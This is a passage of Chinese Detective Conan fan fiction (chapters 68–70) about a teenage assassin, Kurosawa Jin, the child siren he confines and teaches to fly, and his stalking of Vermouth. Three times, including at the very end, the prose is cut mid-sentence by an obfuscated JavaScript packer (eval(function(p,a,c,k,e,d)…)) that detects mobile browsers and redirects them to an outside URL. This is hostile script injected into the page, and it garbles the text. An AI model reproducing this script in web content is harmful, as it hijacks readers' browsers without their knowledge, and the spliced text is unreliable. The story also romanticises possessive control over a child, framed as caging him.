“他给我做泔水,还让我吃人头。” 金酒:虽然香槟长了张这么恶毒的嘴实在令人不适,但是当着自己的面嘤嘤呜呜地一边撒娇一边告黑状更是令人作呕。 黑泽阵:……你说他把那六千块钱偷回去了都比这个靠谱真的。 少年轻叹一口气,把飞鸟彻羽抱起来,和站在屋里一脸麻木的男人对上视线:“哦,那怎么办?” “赶他出去。” 金酒求之不得,一把捞起自己搭在沙发背上的外套,经过黑泽阵身边的时候顺手拍了拍他的肩膀,头也不回地扬长而去,很潇洒地关上门。 颇有几分落荒而逃的味道。 黑泽阵抓住飞鸟彻羽的后颈,将某个把脸埋在自己胸前装模作样,一滴眼泪都没掉的家伙扯了出来,放在沙发上,从怀里拿出来一个黄油土豆,塞在他手里。 还是热的。 飞鸟彻羽刚才就闻到味道了,咬了一小口——和预想的一样好吃。 “现在高兴了?” 成功赶走外来入侵物种的飞鸟彻羽确实很满意,鼓着脸颊点点头。 黑泽阵从沙发上捞起自己的帽子,和风衣一起挂在玄关的衣架上,就着他的手咬了一口……味道还行。 嚼两下随便咽下去,等飞鸟彻羽把一整个小土豆都吃完,包装纸丢进垃圾桶。 看来是真饿了。 就知道自己不在他肯定不好好吃饭。 “吃饱了——那我们谈谈。” 68.囚鸟 黑泽阵细细清理了一遍房间,确认没有什么不该出现的东西。 飞鸟彻羽把脸埋在小熊的肚皮里,开始自欺欺人式的装死——虽然这显然不会影响黑泽阵的决定: “我不会和你一起脱离组织。” 即使是早有预料,飞鸟彻羽还是对这个回答很不满意:“为什么呢?” “做杀手是很没有前途的工作。” 小孩一面说着,一面掰着手指头数着:“很累,危险,报酬少少,未来没有保障,应该也不会有抚恤金这种东西,可能随随便便就没有价值的死掉了,没有人在意,然后被乌鸦和野猫吃掉,或者丢进海里喂鱼……” 越说越感觉不可思议,怎么会有人愿意忍受这样的生活条件呢? “如果说是因为什么人才决定要留下来的话……阿阵也没有什么亲戚朋友……”飞鸟彻羽鼓着脸在小熊的毛绒肚皮上蹭来蹭去,“阿阵难道是喜欢这种奴隶一样的生活吗?” 根本就不可能的吧! “……不是,”黑泽阵有点无语,“说不上喜欢,也说不上讨厌。” 只是一份工作而已。 “反正也不过是一份工作而已,在哪里做为谁效力本质上根本没有什么区别吧。” 飞鸟彻羽感觉更没办法理解了:“跟我回家的话,不会影响你做这些的。” “跟我回家很好的,家里什么都有,反正爸妈都死掉了也没人管我们,想干什么干什么,而且还……” 黑泽阵拒绝了他的大饼:“你家里那么好,你是怎么进组织的?” 说起这个飞鸟彻羽就有点难过:“……被叔叔卖掉了。” “然后你回去,再让他卖一次,”黑泽阵冷嗤一声,像是在嘲笑他的白日做梦,异想天开,“卖了多少?” “七千万美金,折成黄金一起跟阿莲回M9实……” 黑泽阵:……? “谁给谁七千万?” 这个问题实在有点尖锐,一下子就戳到了小孩的痛楚,飞鸟彻羽才不想再回答一次,窘迫地缩在沙发上窝成一团,用翅膀盖住自己。 拒绝回答! 哦。 黑泽阵明白了。 飞鸟彻羽刚刚的意思是说,组织不但白得了一瓶“香槟”,还被倒贴了七千万作为垃圾处理费用。 这种连吃带拿的好事居然真的存在啊…… “他能卖你一次,就能弄死你第二次——你凭什么认为只要回去就可以享受之前的所有资源?” “那是当然的吧。” 翅膀下面闷闷地声音传出来,带有飞鸟彻羽特有的抱怨语气,像是在奇怪为什么要明知故问: “父母死掉之后就只剩下我继承了Marino的魔力——巫师的产业怎么可能由普通人来接手呢?所以只有我有继承权。” “先前是被阿莲掳走了,死了一部分血亲,其他的老古板都在……” “我也是‘没有魔力的普通人’,”黑泽阵再次打断了他的话,透过塞壬描绘的美好未来,揭开了血淋淋的真相,“你家里歧视普通人很严重的吧?” 且不说应该怎样在组织的监视下脱身,即使一切顺利,都朝着最好的方向发展,他们成功到达了塞壬的归属,等待黑泽阵的会是什么下场? Marino会为了一个叛逃的连代号都没有的外围和自己同等体量的组织翻脸吗? 怎么可能呢? ——他们连自己没有魔力的血亲都弃之如敝屣。 在组织里面,黑泽阵至少可以凭借自己的脑子和训练出来的本领挣得一处容身,在Marino他能依仗什么? 飞鸟彻羽的良心吗? 塞壬哪有这种东西? 两个都很烂的选择,选择组织至少还有往上爬的机会,选择Marino不但要赌上性命,即使成功了也要背负组织的通缉,甚至估计一样没什么好待遇。 黑泽阵把飞鸟彻羽从一堆羽毛中挖出来,摆弄他的脸,逼迫他和自己保持对视。 “说实话,你是真想和我一起,还是只是想骗一个代步工具?” 没有自己每天抱着,塞壬连狙击范围都跑不出吧? 好听的话谁不会说? 黑泽阵自己都没少欺骗任务目标,更何况是天性喜欢引诱人类的塞壬。 至始至终黑泽阵都想不明白,为什么从第一次见面开始,对所有组织成员都平等抱有戒备和敌意的香槟,偏偏对自己不一般? 飞鸟彻羽没想到会被他诘问,怔了一下:“……你怀疑我。” “是,”黑泽阵大方承认,“你不可疑?” 阿阵是在怀疑,但是他确实没有污蔑自己。 因为他就是黑心肝的坏种。 应该怎么回应呢? 该怎么向他解释,虽然我对别人就是口蜜腹剑的海妖,但是很喜欢阿阵是真的呢? ——这个时候这么讲话,会被认为是死不悔改,然后阿阵会更生气的吧? 塞壬张张嘴,一时间不知道应该说些什么,只好睁圆了眼睛看着他。 讨好似的。 ……又是这个样子。 飞鸟彻羽有一双很会爱人的眼睛。 左金右蓝的鸳鸯眼,像是被正午阳光曝晒的地中海面,包裹着每一位慕名前来的旅人,温柔地抚平他们的辛劳。 就好像大海会包容所有人,而掀起惊涛骇浪的另有其人。 黑泽阵指尖用了点力气,小孩子脸嫩,陷下去小小的肉窝:“你喜欢我什么?” 他没发现自己和其他人相比有什么不可取代的优势。 比他长得好看的,比他做饭好吃的,比他性格体贴的,比他有钱有权的…… 甚至是第一次见面就被飞鸟彻羽相中的绿眼睛都不稀奇,半个小时之前金酒才刚被塞壬挤兑了出去。 ——看吧,飞鸟彻羽回答不上来。 骗子。 满口谎话。 现在连谎话都不说了。 黑泽阵突然感觉和他纠结这个实在没意思,拉平了嘴角。和塞壬讲这种话有什么用呢? 塞壬的脑结构都和人类的不一样,说不定根本就没有听懂的可能——就算是说得再多遍,猫能学会三位数加减法吗? 情感实在简单的塞壬该怎么解释“喜欢什么”?只好无措地搅着手指,像是课堂上被点起名的差生,窘迫地念出自己滑稽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14328704|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的答案: “喜欢……就是喜欢……” ——喜欢可太宽泛了,喜欢骗也是喜欢。 黑泽阵目光冷了下来,放开了钳制着他下颌的手:“……去洗漱吧,很晚了。” 等飞鸟彻羽把自己弄干净,慢吞吞地缩进被子里的时候,床铺早就被少年炽热的体温暖好了。 飞鸟彻羽贫血体虚,一年四季即使是在开着地暖的房间里都是手脚冰凉,钻进被子里面半天缓不过来。 往常这个时候,一点不把自己当外人的小孩早就循着热源凑过来,泛凉的双手抓着他的胳膊取暖……反正不是像现在这样,远远的背朝着自己,用一角被子勉强盖住身体,缩成一小团。 黑泽阵屏气凝神,仔细竖起耳朵,呼吸不齐,还有顺着被子传达过来的,悉悉索索的颤抖。 ……哭了。 少年伸手,把团在一边闷头委屈的小孩捞过来,左手握住他的两只手腕给他暖手,右手撬开牙关,去解救被塞壬牙齿摧残的唇瓣,连带着细碎的呜咽声也一起逸散了出来,听起来好不可怜。 黑泽阵顺手给他擦了擦眼泪,又被塞壬咬了两口,最后点在上颚上两次,终于老实了。 没人说话。 飞鸟彻羽气得发抖,也有可能是哭得,被两只铁钳似的手攥住,根本用不上力气。 双方就这样僵持着,黑泽阵细细感受着被禁锢在自己怀里,被自己的体温一点点裹热,直到完完全全被自己的味道侵染,成为属于自己的东西。 哭是很消耗体力的事情,尤其是一边生气一边掉眼泪,飞鸟彻羽很快就耗尽了自己稀薄的体力,枕着他的手臂沉沉睡去。 一直等到耳畔的呼吸声渐渐平稳,再三确认没有“装睡”的可能,少年终于舍得开口打破寂静:“……我会往上爬。” 拿到代号,爬到谁都不能质疑我的位置,可以做撑在飞鸟头顶的雨伞,和遮住蓝天的笼子。 只有黑泽阵自己知道,在游乐场听到飞鸟彻羽对自己伸出手,要求他一起走的时候,错漏的心跳里面,有几分是愕然,又有几分忐忑。 ——离开了组织,挣脱了名为“香槟”的囚笼,他还会属于我吗? 不会。 在组织里,他是承载了不知多少人期望的灵丹妙药,在Marino,他是被委以重望的继承人。 只有在这里,在没有人在意的黑暗的角落里,他才会是只属于我的“飞鸟彻羽”。 又或者连这也是骗我的。 飞鸟彻羽是个骗子。 口蜜腹剑佛口蛇心,卑鄙无耻冠冕堂皇。 闪亮的眼睛说喜欢,美艳的皮囊说喜欢,婉转的喉咙说喜欢,还有节律的心脏,好像都在自己的手心跳动。 偏偏却在准备振翅高飞。 是种族的劣根性也好,他自己本身的恶种也罢,飞鸟彻羽作为人的一切都不值得信任,一早就洞悉了他本质的黑泽阵都不会上当。 飞鸟彻羽是个没有真心的小骗子。 但没所谓。 少年手上用力,像是企图在他细密的颤抖中,窥见这张皮囊之下,被血肉和白骨簇拥着的鲜活的心跳。 继续骗我。 69.飞吧 那晚的事情两人很默契地都没再提起。 黑泽阵渐渐开始在外围成员中打出名气,打进卡上的巨额抚养费被用做开一家小酒馆,在此建立起自己的情报网,顺便做一点情报生意。 考虑到北地的冬天实在难熬,装修的时候特意安装了壁炉,畏寒的塞壬平时很重要的一项工作,就是窝在壁炉旁边的矮沙发上烤火,大多数时候是看书看账,偶尔烤点棉花糖。 白胖的棉花糖被铁签子串着,握住柄端的把手,凑近火舌烤得表皮焦黄变硬,里面裹着甜腻的流心,看得人食指大动。 偏偏烤出来又不肯吃,飞鸟彻羽不喜欢这种甜腻的东西,一串串码好摆在手边的小桌上,最后都进了黑泽阵的肚子。 “别弄了。” 黑泽阵觉得这种东西实在没什么意思,如是说过几次,每次飞鸟彻羽听见了就“嗯嗯”得应过去,下次照做。 时间长了居然还练出来几分手艺,成了飞鸟彻羽为数不多能拿得出手的厨艺之一。 他大概就是喜欢烤。 黑泽阵对这种爱好也不勉强,只是每每超市采购,想起来家中库存不足的时候,从货架上拎下来两袋巨大的棉花糖,一路提回去,拎起一如既往窝在沙发上的飞鸟彻羽,还有他今天的劳动成果,一起打包带回家,把零食塞进橱柜里。 然后趁着没人的时候一起挤在沙发上,一边处理飞鸟彻羽今天的“工作成果”,一边给他掐羽管。 鸟类长出羽毛的时候会先长出一根坚硬的羽管,成熟之后变硬变脆就会很轻易的脱落,露出里面包裹着的一根羽毛。 在力所能及的情况下它们自己会处理,如果是够不到的地方在野外的话也会有其他同类帮忙,如果是家养鸟的话就只好由别人代劳。 当然,不管的话时间久了,羽管自己也会脱落。 一直到翅膀全部都由成羽覆盖的时候,黑泽阵上手把被自己拨乱的翅膀理顺,将地上的一片狼藉清理干净: “你会飞吗?” 黑泽阵对这个问题很感兴趣,即使是现在年纪尚小,翼展将近三米喜食各种海鲜的塞壬,也称得上是巨型猛禽了。 塞壬漫长的换羽期终于过去,不再浑身掉毛,更新了身上的鳞片,可以站久一点,牙齿也全部换好,不再说话漏风:“我不知道。” 飞鸟彻羽眨眨眼睛,回想了一下,好像确实没有见过塞壬飞行的实例或者记录。 “应该……不能吧?” 印象中母亲也好,其他兄姊也罢,都从来没有飞过。 黑泽阵对着科普书籍仔细的研究过,感觉飞鸟彻羽的翅膀形状和乌鸦的最像,体重也明显轻于同体型的其他孩子,应该是骨骼结构为了飞行做了减重适应。 “试试,说不定可以。” 翼展是(人型)身长的两倍有余,不会飞才是怪事。 于是飞鸟彻羽鼓起全身的力气,努力煽动翅膀……把客厅里面扇得一团糟。 黑泽阵:……好在已经过了换羽期,这样煽动翅膀放在之前不知道要掉多少毛,清理的困难程度光是想想就是灾难。 “飞不起来。” 飞鸟彻羽感到很茫然。 在之前的几年间,一直作为装饰品,偶尔充当阿阵的把手的部位,突然要负担起自己身体的全部重量,既要控制方向,又要对抗引力…… 想不明白。 完全想不明白。 小孩有些无措地扭头盯着黑泽阵看。 接下来应该怎么办呢? 黑泽阵也不知道,应该怎样教他使用自己完全没有的部分,只好照着白颈鸦拖把扇动翅膀的样子,一只手抓住一边翅膀,照着葫芦画瓢,带动他怎么扇动翅膀。 跟着动了半天的飞鸟彻羽觉得自己学会了,挣开黑泽阵的指导,信心满满地决定自己来一次。 黑泽阵让开两步,给他留足了空间,很有先见之明地拿出了丢在客厅茶几上的拍立得。 果不其然,起初速度慢的时候还算是顺利,直到飞鸟彻羽越来越熟练,开始“流畅”衔接动作的时候就开始出现差错了: 大概是因为左右利用偏好的差异,两边翅膀扇动的速度居然也开始展现出偏差了,宽大的羽翼带着小孩的身体以一种诡异的绕着圈的方式打转。 ——这和走着走着路,突然两条腿错频了,一起往前迈有什么区别。 黑泽阵叹为观止:忘了飞鸟彻羽是个小脑完全不发育的弱智了。 吐槽归吐槽,眼见着飞鸟彻羽单凭自己努力,最后的结果只能是摔在地板上的样子,少年迅速让开位置,找好角度摁下快门,得到了一张漆黑的相纸。 正好拍到飞鸟彻羽各飞各的翅膀,还有他因为惊恐睁大眼睛,想叫又怕泄力,不敢出声的惊慌表情。 这么兵荒马乱,表情丰富的情况可不多见。 不过既然翅膀能带动身体,至少证明他确实是可以飞的。 把相纸放在阴影处等待显形,黑泽阵这才上前两步迎过去,伸开双手等着翅膀带着飞鸟彻羽狠狠栽进自己怀里。 决定了,要把这张拍立得放在卡册里面最显眼的地方。 飞鸟彻羽转的头晕,趴在黑泽阵怀里适应了半天才好不容易缓过神来,大概是自己也嫌丢脸,把脸埋在他颈窝不肯起来,开始绞尽脑汁地给自己找理由: “……说不定我是燕子那样的呢?” 飞鸟彻羽突发奇想,并且拒不承认自己是在挽尊。 燕子就不会自己原地起飞,只能借助风力和高空俯冲下来的升力飞行。 黑泽阵才不给他面子,反而对着这种找借口的行为“嗤之以鼻”:“你不如说自己像是被驴拉动的磨盘。” ——磨盘也飞不起来,最关键的是也只会朝着一个方向转动。 于是在某个难得空闲下来的傍晚,黑泽阵找到了一棵合适做起飞台的树:最下面的树杈离地面大概三米五,是黑泽阵伸手就绝对可以接到,而且飞鸟彻羽也有足够的时间展开翅膀的距离。 一手捞住某个自己学不会飞的笨蛋,两下爬上自己心仪的树杈把他放下来,站在正下面伸开双手: “下来。” 飞鸟彻羽感觉自己还没完全想明白,为什么就要直接上实践了:“我还没准备好?” 连熟练自如的掌控翅膀都没学会,怎么可能飞得起来呢? “哪有每次都让你完全事无巨细准备妥当的时候?计划永远赶不上变化——差不多就行了,到时候再现调整,”黑泽阵完全不感觉自己的强人所难,再次伸出自己的双臂示意他别墨迹赶快点,“实在学不会的话,多跳两次就学会了。” 想都想不明白,跳再多次有什么用啊! 飞鸟彻羽坐在树杈上,双手扶住树枝,居高临下地望着黑泽阵被夕阳映照着闪闪发光的眼睛,看起来像是阿莲讲的故事里,会在黄昏之时假扮成朋友的妖怪。 记不清楚叫什么名字了。 “……我学会的话,你会开心吗?” 什么乱七八糟开不开心的,有那个时间问你早就学会了:“你现在立马学会我更高兴——快跳!” 飞鸟彻羽没办法,只好在树杈上调整好姿势,立起上身,努力摆好最适合翅膀展开用力的角度,闭上眼睛往下跳…… ? 怎么没掉下去? 难不成一次就学会了? 飞鸟彻羽把眼睛睁开一条缝,偷偷观察黑泽阵的表现。 ——从阿阵的表情来看,大概不是那么回事。 已知,为了防止飞鸟彻羽放出翅膀的时候,把背部的衣服戳出一个洞,他的上衣后背都是系扣子/拉拉链的:需要翅膀的时候就把中间的扣子解开/拉链拉开,把翅膀放出来,不需要翅膀的时候就扣好/拉好。 今天穿的是纽扣款。 又知,一棵树总不可能只有一根树杈。 得到,飞鸟彻羽的后衣领子挂在了旁边的另一根树杈上。 黑泽阵顶着自己那顶标志性的礼帽,帽檐在脸上打下阴影,表情很难用人类的语言来形容,硬要说的话——“五彩斑斓的黑”。 大概是因为人无语到一定程度真的会笑,黑泽阵也不例外。 天才少年杀手实在想不明白世界上居然能进化出“飞鸟彻羽”这种生物,左脸写着“你这个蠢货”,右脸写着“摔死你算了”,咧开嘴角扯出一种“废物没有生存价值”的狞笑。 看得飞鸟彻羽背后发凉。 TwT 被树杈挂住是飞不起来的,可要是努力挣扎崩开扣子摔下去,阿阵看起来超生气不肯接我怎么办? 飞鸟彻羽也不知道该怎么办了,只好努力堆起笑脸,露出一个可怜兮兮的讨好似的表情,眼巴巴地看着他。 对不起嘛QvQ~ ……算了,反正从一开始就没抱“一次就能学会”的期望。 “等着别动。” 少年又是两步翻上树杈,像是掐一只猫一样被飞鸟彻羽从树上取下来,扛在肩上跳到地面——好在飞鸟彻羽的扣子很牢固,没有出现中途掉下来的窘境。 这次换了一棵没有其他小树杈的树。 “跳。” 飞鸟彻羽这次不敢再墨迹,一声令下立马下跳……径直砸进黑泽阵怀里,然后用翅膀拍他的脸。 “先动翅膀然后再跳,”被扇了几巴掌的黑泽阵顶着一头乱发,恨铁不成钢,要不是自己真的没有这个部件,恨不得以身代之,“傻鸟。” “对不起QwQ~” “……你的翅膀是同极磁铁吗?只要一起活动就要互相排斥?” “对不起QAQ~” “……翅膀都不动你是氢气球吗?” “忘记了TvT……” 一直折腾了一个星期,飞鸟彻羽才勉强学会怎么滑翔起飞,又练了半个月,掌握了怎么平稳飞行和平地起飞,从此在家里完全放弃了不适合站立的尾巴,去哪里都扑扇着翅膀把自己搬来搬去。 每每黑泽阵回家打开大门的时候,也是货真价实的【飞扑】进来,一回家就跟着他飞来飞去的打转。 ——还好当初搬家装修的时候考虑到塞壬的特殊性,有专门加宽走廊和门框。 光是这样还不够,每天晚上出去遛鸟成了睡前的必备项目,每当夜晚来临天边擦黑的时候,飞鸟彻羽就要眨着自己亮晶晶的眼睛,像是一只每天定点报时的闹钟,一天不忘地提醒日程。 飞嘛飞嘛飞嘛飞嘛…… 黑泽阵不胜其烦,说不清楚当初一时兴起想教飞鸟彻羽是想折腾谁,垂下眼睛给他一个阴沉的眼神,希望某个得寸进尺的家伙有点自知之明,别每天都提这种不合理的要求。 很显然飞鸟彻羽没有这个意识。 塞壬顶着自己被养的圆了一点,长了点肉的脸颊,牵过他满是枪茧的手,掰开手心贴过去,蹭蹭。 黑泽阵顺手捏住他的脸颊肉,粗糙的茧子压在小孩细嫩的脸上不太好受,飞鸟彻羽一边躲一边打他的手……被黑泽阵撇了一眼,立马变脸,陪着笑拉过他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347973|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手背吹吹,还时不时地抬眼偷瞄他。 “去换衣服。” “好哦~” 没良心的小混蛋用过就丢,开心地舒展耳羽飞走,给自己套上外套又扑扇着翅膀飞回来,眼巴巴地催他。 快走快走快走快走…… ……算了,在附近飞飞也没事。 反正周围都是组织的人。 * 直到有一天,黑泽阵出任务,比平时晚了几个小时才回来。 少年一身凛冽的戾气,背着自己的狙击枪,推开厚重的铁门……不对。 家里照常亮着灯,还有拍在脸上若有若无的微风,但是某个存在感极强,每天回家都要有点“欢迎仪式”的家伙不见了。 啧。 黑泽阵来不及放下手里的东西,循着风向追到卧室——开着窗! 考虑到塞壬不是个安分的,独自一个在家里的时候会不会有什么意外,家里之前确实有做过封窗处理,钥匙也在黑泽阵这里妥善保管。 但是现在的锁孔明显是由被铁丝撬开的痕迹,应该是拖把给他送来了铁丝,飞鸟彻羽当初在鬼屋的时候,黑泽阵有教过他怎么听声开锁——虽然具体操作不一样,但是原理相差无几。 ——只要不涉及到体力的范畴,飞鸟彻羽估计是小脑都一起进化成大脑了。 黑泽阵掏出手机:比他们平时出去的时间晚了二十五分钟。 即使是早就知道在周边都是组织成员的情况下,飞鸟彻羽跑不远,黑泽阵还是被气得感觉一阵一阵的怒火往上涌。 很好。 好得很。 飞鸟彻羽在周围都是组织眼线的情况下跑不远,他自己肯定也知道这件事。 没人比黑泽阵更清楚,他的塞壬是瞻前顾后,非要把事情所有的细枝末节都想清楚才下得了决心能开始行动的性子——他不会逃跑的,至少这次不会。 但是想清楚这一点并不妨碍黑泽阵生气。 现在距离他们往常结束夜间活动的时间还有十五分钟。 十五分钟对惯常耐心充足的狙击手来说不算难熬,黑泽阵把枪放回到储物室,没换衣服,穿着风衣双手抱胸,坐在沙发上等。 ……敢迟到腿给他打断。 飞鸟彻羽踩着最后一分钟的尾巴,轻手轻脚地从卧室窗户原路翻了回来,照着原样把铁窗重新扣好,合上窗户,抱着两大包棉花糖口袋里塞着慢慢的零食飞到客厅:“阵阵你回来啦~” 塞壬非人的听力早就凭着心跳声,告诉飞鸟彻羽“黑泽阵坐在客厅”,所以不算意外。 “……去哪里玩了?” 飞鸟彻羽一边把“战利品”塞进橱柜里,一边头也不回地应声:“去小树林,和拖把飞了一会,然后去你之前去的超市,买了好吃的。” 当然,身后是跟着人的,飞鸟彻羽很清楚这一点。 很好,不但自己出去乱跑,而且之前还派乌鸦跟踪我。 黑泽阵被他气笑了,把一身寒气凑过来的小孩抓着后颈拖到自己身前:“谁允许你出去乱跑的?” 他现在开始反省,教“飞鸟彻羽飞行”究竟是不是一个理智的主意。 鸟类一旦接触了天空,还会甘心被关在笼子里吗? 人见过自由都不会甘心被关在笼子里,更何况是天生向往自由的鸟? 是我的错,黑泽阵如是想到。 向往自由是生物本能,所以我要纠正这个错误——把他的翅膀剪…… “我问过你的:‘我学会的话,你会开心吗?’” 飞鸟彻羽沉下嗓子,变成了黑泽阵的声线:“‘你现在立马学会我更高兴——快跳!’你是这么说的。” 小孩歪歪头,盯着他看,不明白人类的出尔反尔:你自己说过的? “是啊,”低哑的声音在耳畔回荡,手指揉捏着后颈,黑泽阵坦然承认是自己考虑不周,“是我的错,所以现在要纠正错误才行。” 这样啊…… 飞鸟彻羽抬起眼睛,不知道在想什么东西,黑泽阵能看到自己在他眼球中的倒影。 “那……好吧?” 好像也不是不行? 飞鸟彻羽把手伸到黑泽阵脑后,抽走了他的小皮筋,挣扎着撑起身体,给自己又长长了的头发梳起了一个小啾啾,然后扯松了手链。 虹膜的异色顷刻间占领了眼白,右眼眼角淌下猩红的血泪,碾过那一颗殷红的泪痣蜿蜒向下。 黑泽阵左手食指沾了血,在飞鸟彻羽的右脸签下了自己的名字,血迹就像是逆生长的藤曼,飞速可见的退化成种子,和之前的那粒并列着,缩成两粒小小的泪痣。 毕竟是束缚,飞鸟彻羽现在不太好受,趴在他身上无声地干呕。 胃袋这个时候显现出来了超强的存在感,一刻不停地痉挛着,带动着身体不住地颤抖。 黑泽阵一只手轻轻揉弄着他的后脑勺,另一只手带着灼热的体温,隔着微凉的衣服捂住他的胃部,直到飞鸟彻羽终于是缓过神来,才捧起他的脸,看着他眼中飞速褪去的异色,眼白重新浮上眼球,擦干净满脸狼狈的眼泪,指尖摩梭着最上面的第一粒。 “……第一个,是和谁签的?” “......什么?” 小孩神情还有些恍惚,在灯光下显得有些涣散的眼睛茫然了一瞬,才听明白黑泽阵在问什么。 “这个?”飞鸟彻羽摸上自己的眼尾,指尖顺着向下,点在了最上面的第一颗泪痣上面。 “死掉了哦。” 70.飞吧 寒风吹拂的街头,一名其貌不扬,身形臃肿的女人步履匆匆,两只肿的像包子一样的脚努力挤进被撑的开口浑圆的平底软鞋中,抱着装的满满当当的牛皮纸袋,看起来像是刚刚结束大抢购回来,要赶忙回去准备一家今天的晚饭。 又像是在躲避猎手的追捕。 十字路口的绿灯亮了,等待多时的行人,早就在寒风中耗尽了耐心,像是开闸的洪水奔流而下,汇入到原本空荡荡的人行道中。 借着人流的掩护,女人紧急变道,拐进手边的小巷中。丢掉帽子扯下脸皮,身上的“脂肪”像是被戳破了的气球一样迅速干扁了下去,大衣反穿,裹在傲人的身材之外,被蹂躏的狼狈不堪的鞋子也被踢掉,换成了在手提袋里面的细高跟。 脚步慢了下来,顷刻之间就完成了从“家庭主妇”到“都市女郎”的转换。 ……真是麻烦。 几天之前刚刚领了考核任务,来到莫斯科的贝尔摩德本打算暂时按兵不动,先借此机会探查一下传闻中堪比灵丹妙药的“香槟”的情报,没想到从采取行动半天不到,自己就被另外一个棘手的家伙盯上了。 在此之前,作为莎朗·温雅德的时候,她曾经像世界知名魔术大师黑羽盗一请教过易容、伪声还有魔术师级别的逃脱技术,并在过往的实践中屡试不爽,偏偏这次碰上了硬茬: 在被盯上的三天时间内,贝尔摩德先后总计更换了七处落脚点,十六辆代步工具,不下二十张□□,假证假帐户的报废数量更是光想想都要心肌梗死的地步,始终没能甩脱坠在身后的黑影。 她甚至连对方最基本的样貌都一无所知。 对方看起来没什么掩盖的意思,堂而皇之地搞跟踪,偏偏各种信息都掩盖的极好,绝对是专业中的专业。 目前唯一能确定的是,对面只有一人。 不论易容、证件、安全屋在使用的时候有多么的顺畅,都是需要提前准备的,贝尔摩德初来乍到,身上的各种装备都将告罄,陷入到巧妇难为无米之炊,一身本领无处施展的窘境。 ——得在此之前解决他/她。 踩着猫步的千面魔女转出小巷,擦着门板挤上公交车,拥挤的车厢内像是被压成一团的沙丁鱼罐头,随着车头左转右转整齐划一的朝着同一个方向摆动。 三天的角逐,即使没有什么具体的情报,也能反应很多事,比如对方有充足的耐心,绝对不是会在狩猎中被麻痹的类型。 所以要尽可能的速战速决! 尾随着默默目送着那辆挤得满满当当的公交车艰难地向前爬行,伸手在路边拦了一辆出租车:“……跟上去。” 贝尔摩德钻着乘客之间的缝隙,艰难地挤到后门,在下一次门板晃晃悠悠的咧开一条口子,不情不愿的放进冷气的时候疾步迈出车门,手中握住藏在大衣口袋里面的手枪,猛然回头。 没人跟下来! 还没等她松一口气,一串微弱但对于现在的贝尔摩德来说不亚于平地惊雷的手机铃声在耳畔炸开,平白给在大冷天跑的浑身发热的女人迎头泼了一盆冷水。 原本的手机连带着电话卡一起,早就在最开始的时候被打坏报废了,按理说现在应该没人知道这个新号码才是。 即使是组织里面的人也不应该知道。 女人环顾四周,没有看见什么可疑的人,很是谨慎地接起电话,摁小音量放在耳边。 ……应该不会突然炸掉的吧? 接通之后又是长时间的死寂,对面的人一言不发,终于等到她按耐不住准备挂断电话的时候,对面才传来一个男声。 “贝尔摩德。” 路边停下一辆的士,靠路边的车后窗缓缓摇下来,露出一个顶着帽子的身影,被帽檐遮住眉眼,看不清楚长相,但是听声音感觉很年轻:“……上车。” “贝尔摩德”加入组织时间不长,还没做出什么业绩,所以知道这个代号的人并不多——要么是组织里面的人,要么自己根本惹不起。 女人拉开另一侧的车门,车载空调的暖风扑面而来,让她很不美好的回想起来自己刚刚在公交车上假装罐头的经历。 贝尔摩德:一想到我在上面挤公交的时候,他就好整以暇地打车跟在后面,就忍不住起了杀心。 ……虽然从一开始,发现自己被跟踪的时候就没打算让他活下来。 借着车窗玻璃的反光,贝尔摩德很隐蔽的观察着……没什么用,身边人好像很擅长应对这种情况,借着大衣和帽子,把自己遮挡的严严实实。 “黑泽,”带着圆顶黑礼帽的少年声音嗓音低沉,像是雪原中低声嚎叫警告入侵者的白狼,“黑泽阵。” 贝尔摩德知道这个名字,来源于自己这次的任务对象,之一。 事实上也确实是警告。 起初发现有人在鬼鬼祟祟探查香槟消息的时候,黑泽阵就动了“清理干净”的念头,见面之后发现是组织的人,索性跟在后面一不做二不休,故意叫她发现自己在跟踪。 猫戏老鼠似的跟了三天,一方面是为了敲打敲打这个一看就很不安分的女人的爪子,叫她别想着把手伸到飞鸟彻羽面前去,更重要的是为了探探她的底——事实证明还算凑合,有资格当这次任务的考核官。 * “您好,打扰了。” 酒吧厚重的大门被推开,做成铃兰花形状的风铃发出清脆的“叮铃”声。 大概是因为现在还是白天的缘故,酒吧的生意很是萧条,只有三五个零零散散坐着喝闷酒的壮汉,还有一个看起来普普通通的调酒师:“我们不对未成年人提供酒精制品。” “我不喝酒,我来找人——黑泽阵。” 在念出那个名字之后,周边正坐着烤火的“客人”皆是一顿,不着声色得观察着对面闯进来的“不速之客”:长着金发黑皮和古怪眉毛,看起来十四岁左右,穿着很干练的羽绒外套,单肩背着半满的旅行包。 从里屋飞进来一只浑身油光水滑的白颈鸦,扯着破锣嗓子大声尖叫:“进来!进来!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 